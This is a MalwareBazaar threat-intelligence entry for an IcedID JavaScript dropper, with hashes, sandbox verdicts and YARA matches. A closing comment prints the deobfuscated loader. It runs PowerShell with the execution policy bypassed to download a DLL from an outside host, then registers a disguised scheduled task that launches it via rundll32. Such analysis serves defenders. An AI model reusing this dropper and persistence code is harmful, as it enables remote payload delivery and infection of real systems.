MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 1a6fa913c1c900605ac2a9d536891b4f7b3f73ffb551cfdd027196ec6feb4a49. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

IcedID

Vendor detections: 6

Intelligence 6 IOCs YARA 4 File information Comments 1

SHA256 hash:	1a6fa913c1c900605ac2a9d536891b4f7b3f73ffb551cfdd027196ec6feb4a49
SHA3-384 hash:	4d4dc08a845f9c46586fc7ff3059721494a350dcf16844ff6d8416271121de212ee456d31ac5b94f0f4405b064fdcf10
SHA1 hash:	6de78d43c26d06d9695db4da2b678a914fc5125d
MD5 hash:	e6805c45e465820a0f8ceb4f639eeebe
humanhash:	oregon-avocado-emma-missouri
File name:	ACH-23-06-2023.js
Download:	download sample
Signature	IcedID Create hunting rule
File size:	910'146 bytes
First seen:	2023-06-23 17:30:55 UTC
Last seen:	Never
File type:	js
MIME type:	text/plain
ssdeep	24576:9Hti28t7FksL23C3z4UwXUbaivdM7CdFIh5xS8w7xr7kBK:Jti28t7FksL23C3z4UwXUbaf7CdFIh56
TLSH	T17815C879698332334A5B207ABFAE64D5B77681A8034D90D4780D83A463D5F2583BFBDC
TrID	65.2% (.CFC) ColdFusion Component (with rem) (7500/1/1) 34.7% (.S) Digital Micrograph Script (4000/1/1)
Reporter	malwarelabnet
Tags:	IcedID js

Intelligence

File Origin

# of uploads :

# of downloads :

377

Origin country :

Vendor Threat Intelligence

Verdict:

Suspicious

Threat level:

5/10

Confidence:

100%

Tags:

evasive

Link:

https://www.filescan.io/uploads/6495ec2e2b3adc8d93a30101/reports/9bbd3127-1857-4c90-a2f3-1f07c5c31ba9/overview

Verdict:

Unknown

Link:

https://www.hybrid-analysis.com/sample/1a6fa913c1c900605ac2a9d536891b4f7b3f73ffb551cfdd027196ec6feb4a49

Result

Threat name:

n/a

Detection:

malicious

Classification:

evad

Score:

64 / 100

Link:

https://www.joesandbox.com/analysis/1260692

Signature

Bypasses PowerShell execution policy

JScript performs obfuscated calls to suspicious functions

Powershell drops PE file

Suspicious powershell command line found

Wscript starts Powershell (via cmd or directly)

Behaviour

Behavior Graph:

Download SVG

Detection:

n/a

Link:

https://mwdb.cert.pl/sample/1a6fa913c1c900605ac2a9d536891b4f7b3f73ffb551cfdd027196ec6feb4a49/

Threat name:

Script-JS.Downloader.Heuristic

Status:

Malicious

First seen:

2023-06-23 17:31:08 UTC

File Type:

Text (JavaScript)

AV detection:

1 of 37 (2.70%)

Threat level:

2/5

Detection(s):

Suspicious file

Link:

https://check.spamhaus.org/check/?searchterm=djx2se6bzeagawwcvhktnci3j55t6477wvi47xicogloy37ljjeq._file

Result

Malware family:

n/a

Score:

8/10

Tags:

n/a

Link:

https://tria.ge/reports/230623-v3pwnahd5z/

Behaviour

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Enumerates physical storage devices

Checks computer location settings

Blocklisted process makes network request

Please note that we are no longer able to provide a coverage score for Virus Total.

Threat name:

IcedID

Score:

0.90

Link:

https://yomi.yoroi.company/submissions/1a6fa913c1c900605ac2a9d536891b4f7b3f73ffb551cfdd027196ec6feb4a49

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	html_auto_download_b64 Create hunting rule
Author:	Tdawg
Description:	html auto download

Rule name:	QbotStuff Create hunting rule
Author:	anonymous

Rule name:	SteamReplacementsTool Create hunting rule
Author:	3xp0rt
Description:	The rule for javascript SteamReplacementsTool
Reference:	https://twitter.com/3xp0rtblog/status/1421896169815478275

Rule name:	yara_template Create hunting rule

File information

The table below shows additional information about this malware sample such as delivery method and external references.

No further information available

Comments

Login required

You need to login to in order to write a comment. Login with your abuse.ch account.

commented on 2023-06-25 11:50:20 UTC

rundll32 %TEMP%\\F8891C-F6BC-EBBBCC-B80AC05DC37B\\viaudio.dll vcab /k kinder691

```js
var o = new ActiveXObject("wscript.shell"),
cf = new ActiveXObject('scripting.filesystemobject');
cf.createfolder(o.expandenvironmentstrings "%TEMP%\\F8891C-F6BC-EBBBCC-B80AC05DC37B");
var t = o.expandenvironmentstrings("%TEMP%") + '\x5cF8891C-F6BC-EBBBCC-B80AC05DC37B\x5cviaudio.dll',
urls = "https://indorpboxi.com/images/viewforum.php?thread=2344";
o.Run("powershell -ExecutionPolicy Bypass Invoke-WebRequest " + urls + " -OutFile " + t, 0x0);
var scheduler = new ActiveXObject("Schedule.service");
scheduler.Connect();
var root = scheduler.GetFolder('\\'),
td = scheduler.NewTask(0x0),
ri = td.RegistrationInfo;
ri.Description = "VIA Hight Defenition Audio",
ri.Author = "Administrotor";
var st = td.Settings;
st.Enabled = true,
st.StartWhenAvailable = true,
st.Hidden = false;
var tr = td.Triggers,
tgr = tr.Create(0x1),
date = new Date();
date.setTime(date.getTime() + (date.getSeconds() + 0x69 * 0x3e8));
var XE = date;
startTime = TMF(XE),
date = new Date(),
date.setTime(date.getTime() + (date.getMinutes() + 0xb * 0x3c * 0x3e8)),
XE = date,
endTime = TMF(XE),
tgr.StartBoundary = startTime,
tgr.EndBoundary = endTime,
tgr.Id = "VIAHightDefenitionAudio",
tgr.Enabled = true;
var ac = td.Actions.Create(0x0);
ac.Path = "rundll32",
ac.Arguments = t + " vcab /k kinder691",
root.RegisterTaskDefinition("VIA Hight Defenition Audio", td, 0x6, '', '', 0x3);
```